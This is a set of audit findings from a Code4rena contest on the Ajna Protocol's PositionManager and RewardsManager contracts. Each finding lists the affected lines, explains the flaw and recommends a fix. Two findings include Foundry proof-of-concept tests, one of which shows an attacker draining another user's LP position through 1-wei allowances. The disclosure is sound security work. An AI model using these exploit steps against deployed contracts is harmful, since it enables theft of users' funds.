Ajna Protocol - Haipls's results

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L300 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L320

Vulnerability details

Impact

During the call to PositionManager.moveLiquidity(), liquidity is transferred between position indexes for an amount equal to the calculation returned from IPool(params_.pool).moveQuoteToken, which can be less than the total liquidity in the bucket from which the transfer is being made. However, PositionManager#L300 still deletes the position from the token regardless.

*This results in a situation where liquidity is only partially transferred and the index of the NFT position has been deleted.*As a result, a portion of the liquidity gets stuck in PositionManager.

Proof of Concept

Let's take a look at the PositionManager.moveLiquidity function:

1. The function checks whether the position from which the transfer is made exists

File: 2023-05-ajna\ajna-core\src\PositionManager.sol
271:         if (vars.depositTime == 0) revert RemovePositionFailed();
272: 

2. The transfer quota is calculated

287:         // calculate the max amount of quote tokens that can be moved, given the tracked LP
288:         vars.maxQuote = _lpToQuoteToken(
289:             vars.bucketLP,
290:             vars.bucketCollateral,
291:             vars.bucketDeposit,
292:             fromPosition.lps,
293:             vars.bucketDeposit,
294:             _priceAt(params_.fromIndex)
295:         );

3. The position is being deleted from the user's list

301:        // remove bucket index from which liquidity is moved from tracked positions
300:        if (!positionIndex.remove(params_.fromIndex)) revert RemovePositionFailed();

4. Liquidity is being transferred between positions

306:         // move quote tokens in pool
307:         (
308:             vars.lpbAmountFrom,
309:             vars.lpbAmountTo,
310:         ) = IPool(params_.pool).moveQuoteToken(
311:             vars.maxQuote,
312:             params_.fromIndex,
313:             params_.toIndex,
314:             params_.expiry
315:         );

5. The balance is updated by the amount of liquidity that has actually been moved

317:         Position storage toPosition = positions[params_.tokenId][params_.toIndex];
318: 
319:         // update position LP state
320:         fromPosition.lps -= vars.lpbAmountFrom;
321:         toPosition.lps   += vars.lpbAmountTo;
322:         // update position deposit time to the from bucket deposit time
323:         toPosition.depositTime = vars.depositTime;
324: 

---

The issue is that the position is being removed from the user's list in step 3, even though it may not have been fully transferred in step 5.

We can see that this is the expected logic when the full position is not moved:

1. There is no delete fromPosition happening, as in the case of `redeemPositions#L380."

2. The lps amount for fromPosition is not set to zero, but is reduced by the actual transferred amount, as seen in PositionManager#L320.

320:        fromPosition.lps -= vars.lpbAmountFrom;

This causes the sum equal to fromPosition.lps - vars.lpbAmountFrom to be simply locked on the contract. In case of transferring 50%, the remaining 50% will also be locked until the user replenishes the position in the pool and calls PositionManager.sol#memorializePositions() on the index where the remaining LPS is located, which will release it to the user. However, the user may accidentally burn their own NFT (since the position is no longer included in their list, having been removed from there), which would result in the permanent locking of these funds on the PositionManager.sol contract.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

• Do not delete this position index from the user's list if the item was not fully moved

300:        if (!positionIndex.remove(params_.fromIndex)) revert RemovePositionFailed();

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L170 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L213

Vulnerability details

Impact

The PositionManager.sol#memorializePositions method can be called by anyone for anyone, which means that if a user accidentally approves LP on PositionManager.sol, or initially intended to participate but changed their mind and did not send a transaction to mint an NFT, calling PositionManager.sol#memorializePositions can result in someone minting an NFT for the pool on their behalf against their wishes, or if it has already been minted, simply calling PositionManager.sol#memorializePositions can transfer the LP from the user to PositionManager.sol against their will.

This can also cause losses for the user if he wanted to do something with his LP tokens, such as send them to another user, or sell them. And a malicious user front-running this transaction and sent user LP to the PositionManager contract impacts:

• taking tokens from the user's wallet and transferring them to PositionManager against the owner's wishes
• the ability to fail transactions related to approved LPs to another user, Front-running these transactions by transferring LPs to PositionManager

Proof of Concept

This is possible because there are 2 points that allow it to be done:

1. PositionManager.sol#mint - can be called by anyone for anyone, which makes things easier

File: ajna-core\src\PositionManager.sol

227:     function mint(
228:         MintParams calldata params_
229:     ) external override nonReentrant returns (uint256 tokenId_) {

233:         if (!_isAjnaPool(params_.pool, params_.poolSubsetHash)) revert NotAjnaPool

236:         poolKey[tokenId_] = params_.pool;

238:         _mint(params_.recipient, tokenId_);

2. PositionManager.sol#memorializePositions does not have any restrictions on who can call it, only that the owner of the specified token has approved the LP for the contract

File: ajna-core\src\PositionManager.sol

170:     function memorializePositions(
171:         MemorializePositionsParams calldata params_
172:     ) external override {

175:         IPool   pool  = IPool(poolKey[params_.tokenId]);
176:         address owner = ownerOf(params_.tokenId);

212:         // update pool LP accounting and transfer ownership of LP to PositionManager contract
213:         pool.transferLP(owner, address(this), params_.indexes);

That allows us to transfer tokens against the owner's will to the PositionManager contract.

There is no direct threat to them, as the owner will take them back later. But there should not be such an opportunity

Tests:

results:

Logs:
  LP balance of PositionManager before memorialize 0
  LP balance of PositionManager after memorialize from attacker for alice 3000000000000000000000

tests:

diff --git a/ajna-core/tests/forge/unit/PositionManager.t.sol b/ajna-core/tests/forge/unit/PositionManager.t.sol
index bf3aa40..2ef8c9d 100644
--- a/ajna-core/tests/forge/unit/PositionManager.t.sol
+++ b/ajna-core/tests/forge/unit/PositionManager.t.sol
@@ -15,6 +15,7 @@ import 'src/interfaces/pool/commons/IPoolErrors.sol';

 import '../utils/ContractNFTRecipient.sol';
 import '../utils/ContractNFTSpender.sol';
+import '@std/console2.sol';

 abstract contract PositionManagerERC20PoolHelperContract is ERC20HelperContract {

     function testMemorializePositionsTwoAccountsSameBucket() external {
         address alice = makeAddr("alice");
         address bob = makeAddr("bob");
@@ -2741,7 +2744,60 @@ contract PositionManagerERC20PoolTest is PositionManagerERC20PoolHelperContract
             _positionManager.reedemPositions(params);
         }
     }
+    function testIssue_MissAccessControlForMemorializePositions() external {
+        address alice = makeAddr("alice");
+        address attacker = makeAddr("attacker");
+
+        uint256 mintAmount  = 10_000 * 1e18;

+        uint256 lpBalance;
+        uint256 depositTime;
+
+        _mintQuoteAndApproveManagerTokens(alice, mintAmount);
+
+        // call pool contract directly to add quote tokens
+        uint256[] memory indexes = new uint256[](1);
+        indexes[0] = 2550;
+        uint256[] memory amounts = new uint256[](1);
+        amounts[0] = 3_000 * 1e18;
+        address[] memory transferors = new address[](1);
+        transferors[0] = address(_positionManager);
+
+        // alice adds liquidity now
+        _addInitialLiquidity({
+            from:   alice,
+            amount: amounts[0],
+            index:  indexes[0]
+        });
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], alice);
+        uint256 aliceDepositTime = block.timestamp;
+        assertEq(lpBalance, amounts[0]);
+        assertEq(depositTime, aliceDepositTime);
+
+        // @audit alice approve LP to PositionManager
+        changePrank(alice);
+        _pool.approveLPTransferors(transferors);
+        _pool.increaseLPAllowance(address(_positionManager), indexes, amounts);
+        // @audit alice changed mind about sending them to PositionManager
+
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager));
+        console2.log("LP balance of PositionManager before memorialize", lpBalance);
+
+        // @audit attacker mint nft for alice forcibly
+        changePrank(attacker);
+        
+        uint256 tokenId = _mintNFT(alice, alice, address(_pool));
+
+        IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeParams = IPositionManagerOwnerActions.MemorializePositionsParams(
+                tokenId, indexes
+        );
+        // @audit attacker transfer LP from alice to PositionManager forcibly
+        changePrank(attacker);
+        _positionManager.memorializePositions(memorializeParams);
+
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager));
+        console2.log("LP balance of PositionManager after memorialize from attacker for alice", lpBalance);
+    }
 }

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

• add access control for PositionManager.sol#memorializePositions

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L549 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L725

Vulnerability details

Impact

RewardsManage.sol keeps track of the total number of rewards collected per epoch for all pools:

File: 2023-05-ajna\ajna-core\src\RewardsManager.sol
73:    /// @dev `epoch => rewards claimed` mapping.
74:    mapping(uint256 => uint256) public override rewardsClaimed;
75:    /// @dev `epoch => update bucket rate rewards claimed` mapping.
76:    mapping(uint256 => uint256) public override updateRewardsClaimed;

And the rewardsCap calculation when calculating the reward applies only to the pool, which leads to a situation when the condition is fulfilled rewardsClaimedInEpoch + updatedRewards_ >= rewardsCap, But rewardsCap is less than rewardsClaimedInEpoch:

File: 2023-05-ajna\ajna-core\src\RewardsManager.sol

-543:         uint256 rewardsCapped = Maths.wmul(REWARD_CAP, totalBurnedInPeriod);
545:         // Check rewards claimed - check that less than 80% of the tokens for a given burn event have been claimed.
-546:         if (rewardsClaimedInEpoch_ + newRewards_ > rewardsCapped) {
548:             // set claim reward to difference between cap and reward
-549:             newRewards_ = rewardsCapped - rewardsClaimedInEpoch_; // @audit rewardsCapped can be less then  rewardsClaimedInEpoch_
550:         }

719:         uint256 rewardsCap            = Maths.wmul(UPDATE_CAP, totalBurned); // @audit in one pool
-720:        uint256 rewardsClaimedInEpoch = updateRewardsClaimed[curBurnEpoch];
722:         // update total tokens claimed for updating bucket exchange rates tracker
723:         if (rewardsClaimedInEpoch + updatedRewards_ >= rewardsCap) {
724:              // if update reward is greater than cap, set to remaining difference
-725:             updatedRewards_ = rewardsCap - rewardsClaimedInEpoch; // @audit rewardsCap can be less then rewardsClaimedInEpoch
726:         }
728:         // accumulate the full amount of additional rewards
-729:        updateRewardsClaimed[curBurnEpoch] += updatedRewards_; // @audit increase per epoch

which causes an underflow erorr in the result updatedRewards_ = rewardsCap - rewardsClaimedInEpoch where rewardsCap < rewardsClaimedInEpoch, this error leads to a transaction fail, which will further temporarily/permanently block actions with NFT as unstake/claimRewards for pools in which rewardsCap will fail less than the total rewardsClaimedInEpoch

We have 2 instances of this problem::

1. during the call _calculateNewRewards
2. during the call _updateBucketExchangeRates

a failure in any of these will result in users of certain pools being unable to withdraw their NFTs as well as the reward

Proof of Concept

Let's take a closer look at the problem and why this is possible:

1. We have a general calculation of rewards taken per epoch:

File: ajna-core\src\RewardsManager.sol

71:     /// @dev `epoch => rewards claimed` mapping.
72:     mapping(uint256 => uint256) public override rewardsClaimed;
73:     /// @dev `epoch => update bucket rate rewards claimed` mapping.
74:     mapping(uint256 => uint256) public override updateRewardsClaimed;

2. The state is updated for the epoch by the amount calculated for each pool:

File: ajna-core\src\RewardsManager.sol

_calculateAndClaimRewards
396:         for (uint256 epoch = lastClaimedEpoch; epoch < epochToClaim_; ) {

410:             // update epoch token claim trackers
411:             rewardsClaimed[epoch]           += nextEpochRewards;

413:         }

_updateBucketExchangeRates
676:         uint256 curBurnEpoch = IPool(pool_).currentBurnEpoch();

728:                 // accumulate the full amount of additional rewards
729:                 updateRewardsClaimed[curBurnEpoch] += updatedRewards_;

3. At the time of calculation of the reward for the update:

File: 2023-05-ajna\ajna-core\src\RewardsManager.sol

526:         (
527:             ,
528:             // total interest accumulated by the pool over the claim period
+529:             uint256 totalBurnedInPeriod,
530:             // total tokens burned over the claim period
531:             uint256 totalInterestEarnedInPeriod
532:         ) = _getPoolAccumulators(ajnaPool_, nextEpoch_, epoch_);
533:
534:         // calculate rewards earned
                ...
542:
+543:         uint256 rewardsCapped = Maths.wmul(REWARD_CAP, totalBurnedInPeriod);
544:
545:         // Check rewards claimed - check that less than 80% of the tokens for a given burn event have been claimed.
546:         if (rewardsClaimedInEpoch_ + newRewards_ > rewardsCapped) {
547:
548:             // set claim reward to difference between cap and reward
+549:             newRewards_ = rewardsCapped - rewardsClaimedInEpoch_; // @audit
550:         }

We have a situation where rewardsClaimedInEpoch_ has been updated by other pools to something like 100e18, and rewardsCapped for the other pool was 30e18, resulting in: rewardsClaimedInEpoch_ + newRewards_ > rewardsCapped and of course we catch the underflow at the time of calculating the remainder, 30e18 - 100e18, since there is no remainder newRewards_ = rewardsCapped - rewardsClaimedInEpoch_

To check the problem, you need to raise rewardsClaimedInEpoch_ more than the rewardsCap of a certain pool, with the help of other pools,

rewardsCap is a percentage of burned tokens in the pool... so it's possible

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

• Add additional requirements that if rewardsClaimedInEpoch > rewardsCap that updatedRewards_ should be zero, not need calculate remaining difference

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L213 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/libraries/external/LPActions.sol#L244 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L390

Vulnerability details

The user can steal funds from the PositionManager of the same index, and also get large positions for free in PositionManager

Impact

The memorializePositions() method lacks a check on the actual LP transferred through pool.transferLP(owner, address(this), params_.indexes);, which leads to the user having the entire LP amount recorded as position.lps += lpBalance;, but in reality, at the end of the method, the user's LP tokens will be taken away, with the amount equal to the allowance, which can be as low as 1 wei.

This allows the user to:

1. Withdraw other users' LP tokens from PositionManager that are under the same index of a particular pool.
2. Get a free position for a huge amount of LP tokens, stake them in RewardsManager and thereby withdraw all AJAN tokens as rewards from RewardsManager.

Proof of Concept

The root cause of this issue is as follows:

In the memorializePositions() method in PositionManager.sol:

1. In L202, the entire user balance is recorded as the position balance.
2. In L213, transferLP is called from the pool, which takes LP tokens from the user and transfers them to the contract without checking the actual amount of coins transferred.

File: ajna-core\src\PositionManager.sol

170:     function memorializePositions(
171:         MemorializePositionsParams calldata params_
172:     ) external override {
...
181:         for (uint256 i = 0; i < indexesLength; ) {
182:             index = params_.indexes[i];
...
188:             (uint256 lpBalance, uint256 depositTime) = pool.lenderInfo(index, owner);
189: 
190:             Position memory position = positions[params_.tokenId][index];
...
201:             // update token position LP
+202:             position.lps += lpBalance;  // @audit set full user lpBalance like position.lps
...
207:             positions[params_.tokenId][index] = position;
...
210:         }
212:         // update pool LP accounting and transfer ownership of LP to PositionManager contract
+213:         pool.transferLP(owner, address(this), params_.indexes); //@audit
214: 
215:         emit MemorializePosition(owner, params_.tokenId, params_.indexes);
216:     }

3. There are no checks on the actual amount of coins transferred during L213.
4. Let's review the implementation of transferLP. In line L244, the minimum amount to be transferred is taken as the minimum between the balance and the approved amount of coins.

File: ajna-core\src\libraries\external\LPActions.sol

209:     function transferLP(

233:             Bucket storage bucket = buckets_[index];
234:             Lender storage owner  = bucket.lenders[ownerAddress_];

240:             uint256 allowedAmount = allowances_[ownerAddress_][newOwnerAddress_][index];
241:             if (allowedAmount == 0) revert NoAllowance();
242: 
243:             // transfer allowed amount or entire LP balance
+244:             allowedAmount = Maths.min(allowedAmount, ownerLpBalance); // @audit
245: 
246:             // move owner LP (if any) to the new owner
247:             if (allowedAmount != 0) {
                      ...
265:             }

267:             // reset allowances of transferred LP
268:             delete allowances_[ownerAddress_][newOwnerAddress_][index];

280:   }

This results in a situation where a user with a position of 100e18, having approved only 1 wei, will have a position worth 100e18 in PositionManager but will only transfer 1 wei to it.

Thus, the user can obtain huge positions for free, which further allows them to do the following:

1. To withdraw funds from other users who have transferred LP under the same index in the same pool in PositionManager, you need to take into account that when withdrawing LP tokens back, the system considers the entire position balance of 100e18 instead of the actual amount transferred in 1 wei.

File: ajna-core\src\PositionManager.sol

352:     function reedemPositions(
353:         RedeemPositionsParams calldata params_
354:     ) external override mayInteract(params_.pool, params_.tokenId) {

360:         uint256[] memory lpAmounts = new uint256[](indexesLength);
363: 
364:         for (uint256 i = 0; i < indexesLength; ) {
365:             index = params_.indexes[i];
366: 
367:             Position memory position = positions[params_.tokenId][index];
368: 
                  ...
+377:             lpAmounts[i] = position.lps; // @audit
                  ...
386: 
387:         // approve owner to take over the LP ownership (required for transferLP pool call)
+388:         pool.increaseLPAllowance(owner, params_.indexes, lpAmounts); // @audit
389:         // update pool lps accounting and transfer ownership of lps from PositionManager contract
+390:         pool.transferLP(address(this), owner, params_.indexes); // @audit
391: 
392:         emit RedeemPosition(owner, params_.tokenId, params_.indexes);
393:     }

2. In addition, the user can multiply their position by position.lps/1 in this way, followed by staking in RewardsManager.sol and receiving a huge reward.

Tests:

In this test, we will analyze the case with another user, and how the first one stole funds from him

We can see from the results that the Attacker stole all of Alice's funds, paying only 5-15 wei for it

Logs:

Initiali state:
  Alice pool LP balance:                 10000000000000000000000
  Attacker pool LP balance:              2000000000000000000000
  PositionManager pool LP balance:       0

After memorialize from Alice:
  Alice LP pool balance :                0
  Attacker LP balance:           2000000000000000000000
  PositionManager LP pool balance:       10000000000000000000000
  Alice getLP for indexes in PositionManager:    10000000000000000000000
  Attacker getLP for indexes in PositionManager:         0

After memorialize from Attacker (with 1 wei allowance):
  Attacker getLP by indexes:             2000000000000000000000
  PositionManager LP pool balance:       10000000000000000000001

 Attacker repeat 4 time
  PositionManager LP pool balance:       10000000000000000000005
  Attacker getLP by indexes:             9999999999999999999990
  Alice getLP for indexes in PositionManager:    10000000000000000000000

 Attacker reedemPositions
  Alice LP pool balance:                 0
  Attacker LP balance:           11999999999999999999985
  PositionManager LP pool balance:       15
  Attacker getLP by indexes:             0
  Alice getLP by indexes:                10000000000000000000000

diff --git a/ajna-core/tests/forge/unit/PositionManager.t.sol b/ajna-core/tests/forge/unit/PositionManager.t.sol
index bf3aa40..6300093 100644
--- a/ajna-core/tests/forge/unit/PositionManager.t.sol
+++ b/ajna-core/tests/forge/unit/PositionManager.t.sol
@@ -15,6 +15,7 @@ import 'src/interfaces/pool/commons/IPoolErrors.sol';

 import '../utils/ContractNFTRecipient.sol';
 import '../utils/ContractNFTSpender.sol';
+import '@std/console2.sol';

 abstract contract PositionManagerERC20PoolHelperContract is ERC20HelperContract {

@@ -2742,6 +2745,110 @@ contract PositionManagerERC20PoolTest is PositionManagerERC20PoolHelperContract        
         }
     }

+    function testIssue_NotCheckFactTransferAmount_transferLP() external {
+        // test prepare
+        address alice = makeAddr("alice");
+        address attacker = makeAddr("attacker");
+        uint256 lpBalance;
+        uint256 depositTime;
+        _mintQuoteAndApproveManagerTokens(alice, 10_000 * 1e18);
+        _mintQuoteAndApproveManagerTokens(attacker, 2_000 * 1e18); // atacker have 1/5 alice balance
+
+        address[] memory transferors = new address[](1);
+        transferors[0] = address(_positionManager);
+
+        uint256[] memory indexes = new uint256[](1);
+        indexes[0] = 2050;
+
+        uint256[] memory attackerApproveAmount = new uint256[](1);
+        attackerApproveAmount[0] = 1 wei;
+        uint256[] memory aliceApproveAmount = new uint256[](1);
+        aliceApproveAmount[0] = 10_000 * 1e18;
+
+        // alice adds liquidity now
+        _addInitialLiquidity({
+            from:   alice,
+            amount: 10_000 * 1e18,
+            index:  indexes[0]
+        });
+        // attacker adds liquidity to the same indexes
+        _addInitialLiquidity({
+            from:   attacker,
+            amount: 2_000 * 1e18,
+            index:  indexes[0]
+        });
+
+        console2.log("\nInitiali state:");
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], alice);
+        console2.log("Alice pool LP balance:\t\t", lpBalance);
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], attacker);
+        console2.log("Attacker pool LP balance:\t\t", lpBalance);
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager));
+        console2.log("PositionManager pool LP balance:\t", lpBalance);
+
+        // mint nft for future positions
+        uint256 tokenId = _mintNFT(alice, alice, address(_pool));
+        uint256 tokenIdAttacker = _mintNFT(attacker, attacker, address(_pool));
+
+        changePrank(alice);
+        _pool.approveLPTransferors(transferors);
+        _pool.increaseLPAllowance(address(_positionManager), indexes, aliceApproveAmount); // aprove full lp position from Alice
+        
+        IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeParams = IPositionManagerOwnerActions.MemorializePositionsParams(
+                tokenId, indexes
+        );
+        _positionManager.memorializePositions(memorializeParams);
+
+        console2.log("\nAfter memorialize from Alice:");
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], alice);
+        console2.log("Alice LP pool balance :\t\t", lpBalance);
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], attacker);
+        console2.log("Attacker LP balance:\t\t", lpBalance);
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager));
+        console2.log("PositionManager LP pool balance:\t", lpBalance);
+        console2.log("Alice getLP for indexes in PositionManager:\t", _positionManager.getLP(tokenId, indexes[0]));
+        console2.log("Attacker getLP for indexes in PositionManager:\t", _positionManager.getLP(tokenIdAttacker, indexes[0]));
+
+        changePrank(attacker);
+        _pool.approveLPTransferors(transferors);
+        _pool.increaseLPAllowance(address(_positionManager), indexes, attackerApproveAmount); // attacker approve only 1 wei
+        
+        memorializeParams = IPositionManagerOwnerActions.MemorializePositionsParams(
+                tokenIdAttacker, indexes
+        );
+        _positionManager.memorializePositions(memorializeParams);
+
+        console2.log("\nAfter memorialize from Attacker (with 1 wei allowance):");
+        console2.log("Attacker getLP by indexes:\t\t", _positionManager.getLP(tokenIdAttacker, indexes[0]));  
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager));
+        console2.log("PositionManager LP pool balance:\t", lpBalance);
+
+        changePrank(attacker);
+        for(uint256 i; i < 4; i++){
+            _pool.increaseLPAllowance(address(_positionManager), indexes, attackerApproveAmount); // attacker approve only 1 wei every time
+            _positionManager.memorializePositions(memorializeParams);
+        }
+        console2.log("\n Attacker repeat 4 time");
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager));
+        console2.log("PositionManager LP pool balance:\t", lpBalance);
+        console2.log("Attacker getLP by indexes:\t\t", _positionManager.getLP(tokenIdAttacker, indexes[0]));  
+        console2.log("Alice getLP for indexes in PositionManager:\t", _positionManager.getLP(tokenId, indexes[0]));
+
+        IPositionManagerOwnerActions.RedeemPositionsParams memory reedemParams = IPositionManagerOwnerActions.RedeemPositionsParams(
+            tokenIdAttacker, address(_pool), indexes
+        );
+        _positionManager.reedemPositions(reedemParams);
+
+        console2.log("\n Attacker reedemPositions");
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], alice);
+        console2.log("Alice LP pool balance:\t\t", lpBalance);
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], attacker);
+        console2.log("Attacker LP balance:\t\t", lpBalance);
+        (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager));
+        console2.log("PositionManager LP pool balance:\t", lpBalance);
+        console2.log("Attacker getLP by indexes:\t\t", _positionManager.getLP(tokenIdAttacker, indexes[0]));  
+        console2.log("Alice getLP by indexes:\t\t", _positionManager.getLP(tokenId, indexes[0]));
+    }
 }

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

1. Verify the actual amount of coins transferred.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L815 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L197 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L259 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L317 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L597

Vulnerability details

Impact

The reward transfer method RewardsManager.sol#_transferAjnaRewards checks whether there is enough balance to issue the requested amount, in case of insufficient balance issues the balance.

Which leads to the fact that the difference between rewardsEarned_ - ajnaBalance will simply be written off.

Also the case when the RewardsManager was deployed but there were no reward tokens

File: ajna-core\src\RewardsManager.sol

811:     function _transferAjnaRewards(uint256 rewardsEarned_) internal {
812:         // check that rewards earned isn't greater than remaining balance
813:         // if remaining balance is greater, set to remaining balance
814:         uint256 ajnaBalance = IERC20(ajnaToken).balanceOf(address(this));
+815:         if (rewardsEarned_ > ajnaBalance) rewardsEarned_ = ajnaBalance;
816: 
817:         if (rewardsEarned_ != 0) {
818:             // transfer rewards to sender
+819:             IERC20(ajnaToken).safeTransfer(msg.sender, rewardsEarned_);
820:         }
821:     }

Which leads to the fact that the staker loses part/all of the reward at the moment, even if the ajnaToken balance appears on the contract later, since the reward is already marked as issued, he will not be able to receive the part that was simply written off.

Proof of Concept

Let's consider one of the cases:

1. Coins hit RewardsManager.sol once a month in the amount of 100,000 AJNA tokens
2. A large number of stakers participated in the stake, the last staker in the month who wanted to collect his reward turned out to be outside of these 100,000 AJNA
3. His reward of 3,500 AJNA was simply written off as there were no coins to give him a rewards
4. The new Tokens/Stake program was extended and another 100,000 AJNA were added to the RewardsManager.sol balance
5. The user who was unable to receive the reward will never receive it again, as it was simply written off as fully paid

This is due to the fact that there is no record of the amount actually transferred to the user by the _transferAjnaRewards method. But the reward will be recorded as a withdrawal in full

File: ajna-core\src\RewardsManager.sol

561:     function _claimRewards(
564:         uint256 epochToClaim_,
567:     ) internal {
568: 
569:         // revert if higher epoch to claim than current burn epoch
570:         if (validateEpoch_ && epochToClaim_ > IPool(ajnaPool_).currentBurnEpoch()) revert EpochNotAvailable();


578:         rewardsEarned += _calculateAndClaimRewards(tokenId_, epochToClaim_);
579: 
    384:     function _calculateAndClaimRewards(
    385:         uint256 tokenId_,
    386:         uint256 epochToClaim_
    387:     ) internal returns (uint256 rewards_) {

    390:         uint256 lastClaimedEpoch = stakes[tokenId_].lastClaimedEpoch;

    395:         // iterate through all burn periods to calculate and claim rewards
    396:         for (uint256 epoch = lastClaimedEpoch; epoch < epochToClaim_; ) {

    406:             rewards_ += nextEpochRewards;

    411:             rewardsClaimed[epoch]           += nextEpochRewards;
    412:             isEpochClaimed[tokenId_][epoch] = true;
    413:         }
    414:     }
593:         // update last interaction burn event
594:         stakeInfo_.lastClaimedEpoch = uint96(epochToClaim_);

596:         // transfer rewards to sender
597:         _transferAjnaRewards(rewardsEarned); // @audit we do not check how much was actually paid
598:     }

We can see this flow in project tests

File: ajna-core\tests\forge\unit\Rewards\RewardsManager.t.sol

1715:         changePrank(address(_rewardsManager));
1716:         IERC20Token(address(_ajnaToken)).burn(99_999_990.978586345404952410 * 1e18);
1717: 
1718:         uint256 managerBalance = _ajnaToken.balanceOf(address(_rewardsManager));
+1719:         assertEq(managerBalance, 4.931444746461913452 * 1e18);
1720: 
1721:         // _minterOne unstakes staked position
1722:         _unstakeToken({
1723:             owner:                     _minterOne,
1724:             pool:                      address(_pool),
1725:             tokenId:                   tokenIdOne,
1726:             claimedArray:              _epochsClaimedArray(1, 0),
1727:             reward:                    40.899689081331351737 * 1e18,
1728:             indexes:                   depositIndexes,
1729:             updateExchangeRatesReward: 0
1730:         });
1731: 
+1732:         // minter one receives only the amount of 5 ajna tokens available in manager balance instead calculated rewards of 40.214136545950568150
+1733:         assertEq(_ajnaToken.balanceOf(_minterOne), managerBalance);
1734:         // all 5 tokens available in manager balance were used to reward minter one
1735:         assertEq(_ajnaToken.balanceOf(address(_rewardsManager)), 0);
1736: 

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

Added accounting of unpaid reward and the method by which the user will be able to receive it if ajna tokens are again present on the balance

Example:

diff --git a/ajna-core/src/RewardsManager.sol b/ajna-core/src/RewardsManager.sol
index 314b476..b89473a 100644
--- a/ajna-core/src/RewardsManager.sol
+++ b/ajna-core/src/RewardsManager.sol
@@ -73,6 +73,8 @@ contract RewardsManager is IRewardsManager, ReentrancyGuard {
     /// @dev `epoch => update bucket rate rewards claimed` mapping.
     mapping(uint256 => uint256) public override updateRewardsClaimed;

+    mapping(address => uint256) public unpaidRewards;
+
     /// @dev Mapping of per pool bucket exchange rates at a given burn event `poolAddress => bucketIndex => epoch => bucket exchange rate`.
     mapping(address => mapping(uint256 => mapping(uint256 => uint256))) internal bucketExchangeRates;

@@ -302,12 +304,26 @@ contract RewardsManager is IRewardsManager, ReentrancyGuard {
         IERC721(address(positionManager)).transferFrom(address(this), msg.sender, tokenId_);
     }

+    function claimUnpaidRewards() external {
+        uint256 unpaidBalance = unpaidRewards[msg.sender];
+        uint256 ajnaBalance = IERC20(ajnaToken).balanceOf(address(this));
+        
+        if (unpaidBalance > ajnaBalance) {
+            unpaidBalance = ajnaBalance;
+        }
+
+        unpaidRewards[msg.sender] -= unpaidBalance;
+        if (unpaidBalance != 0) {
+            IERC20(ajnaToken).safeTransfer(msg.sender, unpaidBalance);
+        }
+    }
+    }

@@ -812,7 +828,10 @@ contract RewardsManager is IRewardsManager, ReentrancyGuard {
         // check that rewards earned isn't greater than remaining balance
         // if remaining balance is greater, set to remaining balance
         uint256 ajnaBalance = IERC20(ajnaToken).balanceOf(address(this));
-        if (rewardsEarned_ > ajnaBalance) rewardsEarned_ = ajnaBalance;
+        if (rewardsEarned_ > ajnaBalance) {
+            unpaidRewards[msg.sender] += rewardsEarned_ - ajnaBalance;
+            rewardsEarned_ = ajnaBalance;
+        }

Assessed type

Other

Lines of code

